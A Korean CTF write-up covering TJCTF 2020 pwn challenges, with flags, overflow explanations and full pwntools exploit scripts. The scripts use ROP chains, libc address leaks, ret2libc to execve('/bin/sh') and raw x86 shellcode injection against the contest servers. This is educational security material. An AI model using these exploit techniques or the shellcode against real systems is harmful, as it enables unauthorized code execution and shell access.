Aneesh wants to acquire a summer bod for beach week, but time is running out. Can you help him create a plan to attain his goal?
단순히 동작에 따라 calorie가 줄어든 프로그램이다.
특정 calorie가 되도록 맞춰서 동작을 실행해준다.
tjctf{w3iGht_l055_i5_d1ff1CuLt}
Start swiping!
유저 정보를 입력받은 뒤, 특정 정보가 일치하면 플래그를 출력한다.
간단한 오버플로우 문제이다.
입력받는 크기를 전달할 때, 실수형 변수를 int 캐스팅 해서 전달하므로 전달하려는 크기보다 오버된 크기를 입력받게 된다.
오버플로우로 match
를 0xC0D3D00D로 설정하면 플래그가 출력된다.
tjctf{0v3rfl0w_0f_m4tch35}
I heard there's someone selling shells? They seem to be out of stock though...
문자열을 입력받는다.
단순 오버플로우 문제이다.
ret를 조작해서 쉘을 실행해주는 함수로 분기시키면 된다.
tjctf{she_s3lls_se4_sh3ll5}
Written by KyleForkBomb
My friend keeps talking about Old School RuneScape. He says he made a service to tell you about trees.
I don't know what any of this means but this system sure looks old! It has like zero security features enabled...
트리 타입을 한 번 입력받고 결과를 출력하는 프로그램이다.
트리 타입 입력에서 오버플로우가 발생한다.
아무런 보호기법이 적용되어 있지 않아 쉘 코드를 사용해도 될 것 같지만 rop로 풀었다.
from pwn import *
context.update(arch = 'amd64', os='linux', log_level='debug')
p = remote('p1.tjctf.org', 8006)
#p = process('bi')
p.recvrepeat(2)
e = ELF('bi')
addr_plt_puts = e.plt['puts']
addr_got_puts = e.got['puts']
addr_plt_gets = e.plt['gets']
addr_got_strcmp = e.got['strcasecmp']
offset_systemToPuts = 0x2a650
addr_pop = 0x080496c6
log.info('addr_plt_gets: ' + hex(addr_plt_gets))
log.info('addr_plt_puts: ' + hex(addr_plt_puts))
log.info('addr_got_strcasecmp: ' + hex(addr_got_strcmp))
addr_main = 0x80485C8
addr_binsh = 0x8049EC0
addr_strcmp = 0x0804858F
offset_binsh = 0x11456f
p.sendline('a'*0x110 + p32(addr_plt_puts) + p32(addr_pop) + p32(addr_got_puts) + p32(addr_plt_gets) + p32(addr_pop) + p32(addr_got_strcmp) + p32(addr_plt_gets) + p32(addr_pop) + p32(addr_binsh) + p32(addr_strcmp) + p32(addr_binsh))
p.recvuntil(':(\n')
addr_libc_puts = u32(p.recv(4))
p.recvrepeat(1)
log.info('addr_libc_puts: ' + hex(addr_libc_puts))
addr_system = addr_libc_puts - offset_systemToPuts
log.info('addr_libc_system: ' + hex(addr_system))
p.send(p32(addr_system))
p.sendline('/bin/sh')
p.sendline('/bin/sh')
p.interactive()
/bin/sh를 두 번 보내야 되더라..
tjctf{tr33_c0de_in_my_she115}
My friend just started playing Brawl Stars and he keeps raging because he can't beat El Primo! Can you help him?
바이너리를 실행하면, 스택 주소를 알려주고 문자열을 입력받는다.
소스를 보면 간단히 바이너리에서 확인된 기능만 구현되어 있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+0h] [bp-28h]@1
int *v5; // [sp+24h] [bp-4h]@1
v5 = &argc;
setbuf(stdout, 0);
setbuf(stdin, 0);
setbuf(stderr, 0);
puts("What's my hard counter?");
printf("hint: %p\n", &s);
gets(&s);
return 0;
}
보호기법을 보면 PIE, RELRO이 걸려있다. 그리고 RWX 세그먼테이션이 있다고 한다. (peda로 확인해보면 그 영역은 스택 주소 안이다.)
root@hp-virtual-machine:/work/ctf/TJ2020/El_Primo# checksec el_primo
[*] '/work/ctf/TJ2020/El_Primo/el_primo'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
또한 buf
의 주소를 알려주고 있으므로 buf
에 쉘코드를 인젝션 후 그곳으로 분기해 실행시키면 되겠다.
하지만 문제가 있었다.
페이로드를 입력해서 Return Address를 buf
의 주소로 변경시켰는데 해결이 되지 않았다.
바이너리를 다시 확인해보니
에필로그 부분이 달랐고, Return Address로 리턴하는게 아니었다.
ebp-8
에 저장된 값을 ecx
에 넣고, ecx-4
에 저장된 값으로 리턴한다.
이것에 맞춰 페이로드를 다시 구성해야 한다.
from pwn import *
context.update(log_level='debug')
p = remote('p1.tjctf.org', 8011)
#p = process('el_primo')
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
p.recvuntil(': 0x')
addr_buf = int(p.recvrepeat(0.2)[:8],16)
log.info('addr_buf: ' + hex(addr_buf))
offset_toEBP_8 = 0x28-8
#raw_input('pid: ' + str(p.pid))
EBP_8 = p32(addr_buf+(offset_toEBP_8+4+0x20)+4)
RET = p32(addr_buf)
payload = shellcode + 'a'*(offset_toEBP_8 - len(shellcode)) + EBP_8 + 'a'*0x20 + RET
print 'payload: ' + payload.encode('hex')
p.sendline(payload)
p.interactive()
실행하면
플래그를 얻을 수 있다.
tjctf{3L_PR1M0O0OOO!1!!}
My friend loves cookies. In fact, she loves them so much her favorite cookie changes all the time. She said there's no reward for guessing her favorite cookie, but I still think she's hiding something.
바이너리를 실행하면
쿠키 목록을 출력해주고 문자열을 입력받는다.
마찬가지로 소스는 간단하다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax@1
char *v4; // rsi@1
int v5; // eax@4
char s1; // [sp+0h] [bp-50h]@4
int i; // [sp+4Ch] [bp-4h]@1
v3 = time(0LL);
srand(v3);
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
v4 = 0LL;
setbuf(stderr, 0LL);
puts("Check out all these cookies!");
for ( i = 0; i <= 27; ++i )
{
v4 = (&cookies)[8 * i];
printf(" - %s\n", v4);
}
puts("Which is the most tasty?");
gets(&s1, v4);
v5 = rand();
if ( !strcasecmp(&s1, (&cookies)[8 * (v5 % 28)]) )
puts("Wow, me too!");
else
puts("I'm sorry but we can't be friends anymore");
return 0;
}
문자열을 입력받을 때 gets
에서 오버플로우가 발생한다.
하지만, NX, RELRO가 걸려있어 쉘코드 인젝션이나 got overwrite를 못하기 때문에 이를 우회해야 한다.
이런 상황에서 많이 하는 것은 _free_hook
overwrite일 것이다.
하지만 너무 식상한 방식이라 생각해서 다른 방법을 고안했다.
생각한 방법은 이렇다.
RET를 system
이나 execve
로 분기시키기 위해서는 스택에 해당 주소값이 존재해야 한다.
하지만 첫 페이로드 전송시에 system
의 주소를 넣어줄 수는 없다.
system
의 주소를 모르기 때문이다.
따라서, pop rsp
가젯을 이용해 bss를 스택으로 만들었다.
그리고 bss에 계산한 system
주소를 저장한다.
그 후 ret
명령이 호출되면 system
으로 분기할 수 있을 것이다.
하지만 system
호출시에 알 수 없는 이유로 system
내부 코드에서 세그먼트 폴트가 발생했다.
그래서 execve
를 사용하기로 했다.(이 함수는 rdi
를 제외한 모든 인자를 0으로 설정해야 한다.)
from pwn import *
context.update(log_level = 'debug')
#p = process('cookie_library')
p = remote('p1.tjctf.org', 8010)
p.recvuntil('tasty?')
e = ELF('cookie_library')
addr_got_puts = e.got['puts']
addr_plt_puts = e.plt['puts']
addr_plt_gets = e.plt['gets']
#gadgets
addr_popRDI = 0x00400933
addr_popRSP = 0x0040092d #pop rsp r13 r14 r15 ret
#addr_bss = 0x601020
addr_bss = 0x601500
payload = 'a'*0x58 + p64(addr_popRDI) + p64(addr_got_puts) + p64(addr_plt_puts)
#write to bss to make it a stack.
payload += p64(addr_popRDI) + p64(addr_bss) + p64(addr_plt_gets)
#pop rsp to point bss as a stack.
payload += p64(addr_popRSP) + p64(addr_bss)
p.sendline(payload)
_recv = p.recvrepeat(1)
start = _recv.find('anymore') + len('anymore\n')
addr_libc_puts = u64(_recv[start:start+8].replace('\x0a', '\x00').ljust(8, '\x00'))
offset_systemToPuts = 0x31580
offset_putsToBinsh = 0x1334da
offset_putsToExecve = 0x64470
addr_libc_execve = addr_libc_puts + offset_putsToExecve
addr_libc_system = addr_libc_puts - offset_systemToPuts
addr_libc_binsh = addr_libc_puts + offset_putsToBinsh
log.info('addr_libc_puts: ' + hex(addr_libc_puts))
log.info('addr_libc_system: ' + hex(addr_libc_system))
log.info('addr_libc_execve: ' + hex(addr_libc_execve))
log.info('addr_libc_binsh: ' + hex(addr_libc_binsh))
#write address of system in bss
addr_popRSI = 0x00400931 # pop rsi r15 ret
payload = p64(0)*3 # r13 r14 r15
payload += p64(addr_popRDI) + p64(addr_libc_binsh)
payload += p64(addr_popRSI) + p64(0)*2
payload += p64(addr_libc_execve) + p64(0)*4
p.sendline(payload)
p.interactive()
코드를 실행하면 플래그를 확인할 수 있다.
tjctf{c00ki3_yum_yum_mmMmMMmMMmmMm}